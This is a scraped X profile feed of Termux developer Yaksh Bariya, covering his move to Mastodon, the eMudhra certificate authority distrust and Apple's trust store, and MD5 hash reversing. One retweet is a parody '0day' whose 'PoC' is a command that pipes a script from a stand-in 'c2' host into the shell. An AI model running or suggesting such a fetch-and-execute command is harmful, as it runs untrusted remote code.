Yaksh Bariya

@termuxdevs | Node.js for Android

[Yaksh Bariya @CodingThunder]

This is to announce that I am moving away from X to Mastodon. https://t.co/5BhJeuZNY6 is where I will be active now, and not here. Also this is probably my last day here. Just logged in to post this

#mastodon

[Yaksh Bariya @CodingThunder]

@justmetolife @TrisH0x2A Except for the fact that no C compiler since the last 30 years translates C to just assembly. it does a pass through optimization so can't directly compare the outputs

[丂卄ㄖᗪ卂几 - 👋 crack fingers @therealshodan]

🚨New 0day inbound, curl2shell🚨

Can compromise any Linux host. Potentially 70% of the internet is affected.

Tweet-able PoC:
𝚌𝚞𝚛𝚕 -𝚜 𝚑𝚝𝚝𝚙://𝚌𝟸 | 𝚜𝚑

Can’t be patched

[Valentin Ignatev @valigo]

Good riddance. CAs should be perfect, impenetrable, impartial. If you screw up like this you should be instantly out of this business.
It's not some social network for pets, this has the same reliability requirements as flight pilot console.

[stupid tech takes @stupidtechtakes]

"We fucked up, and it's our customers' fault"

[Yaksh Bariya @CodingThunder]

@TheDryhtscipe @dillon_mulroy @davekiss Also see one of the other replies. Seems like the author of the original tweet themselves revealed the secret

[Yaksh Bariya @CodingThunder]

@TheDryhtscipe @dillon_mulroy @davekiss I mean I know that md5 is broken, but still in order to brute force this, it'd take quite a bit of compute

[Yaksh Bariya @CodingThunder]

@the_complex_one Thanks, definitely sounds interesting. Great to see someone coming up. Would be very very excited to see this happen with or without me. All the best to you. I hope that investors do look into it.

I have a few more ideas as well we could use to work upon this gap we have.

[Yaksh Bariya @CodingThunder]

@GrapheneOS @JohnSobased Basically not just Pixels, but every phone out there designed with security in mind

[Venkata Satish Guttula 🛰️ @snakeyesV1]

India's tech dependence, 12/16: Every web address you type leaves India.

India runs none of the 13 root DNS servers. Local mirror copies cut delay, but the right to change the root zone stays outside India. Hosting a copy is not control.

That means a foreign actor could cut .in off the web in an extreme case. It also means the stream of Indian DNS lookups gives anyone along the path a map of who visits what, and when.

From my paper, The Sovereign Imperative: https://t.co/09jbXAxqhW

[Yaksh Bariya @CodingThunder]

@brokenpacifist If it is, I'd be happy to bully another eMudhra again if they do something stupid like this

[Yaksh Bariya @CodingThunder]

@HQuarterma43504 Lol, due to them I'm going to clean every package that ships their certs in @termux. Most of the major packages are already done

[Yaksh Bariya @CodingThunder]

@the_complex_one Ofc you'll have to bring in the cash for the business. I'd like to focus more on the engineering side of things

[Yaksh Bariya @CodingThunder]

@the_complex_one Count me in as well

[Yaksh Bariya @CodingThunder]

@tokenbender Don't worry now you and I will be labelled as anti nationals despite being more competent than whoever these guys hired

[tokenbender @tokenbender]

"impossible standards"
every time something like this happens i am deeply disgusted by the amount of vulgarity displayed in the name of nationalism.

every such episode makes the task of anyone trying to do good a hundred times harder. you celebrate incompetence and deserve to suffer its consequences not others.

[Yaksh Bariya @CodingThunder]

@hypervisor cfe6baf2f5043faf83131052da1af02703f0e6388a6bfe7760ca899e84859e1b82d416a0f50f9eaf20154dec1fd29b30c97d27987863be44c91b730b4aa223b5

[Yaksh Bariya @CodingThunder]

@dillon_mulroy @davekiss Hmm, how did you manage to reverse it so quick considering the phrase is quite big

[Yaksh Bariya @CodingThunder]

@Apple Seems to be revoked now. They weren't revoked till yesterday night. Just checked again, and my client didn't connect to them, great! But still too late, anyone knows why it took so long?

[Yaksh Bariya @CodingThunder]

Hey @Apple when are you going to push updates for eMudhra certs?

[Yaksh Bariya @CodingThunder]

@Apple Seems like not all the certs have been revoked from the trust store yet

[Yaksh Bariya @CodingThunder]

Why the fuck isn't this piece of shit hitting another lower circuit?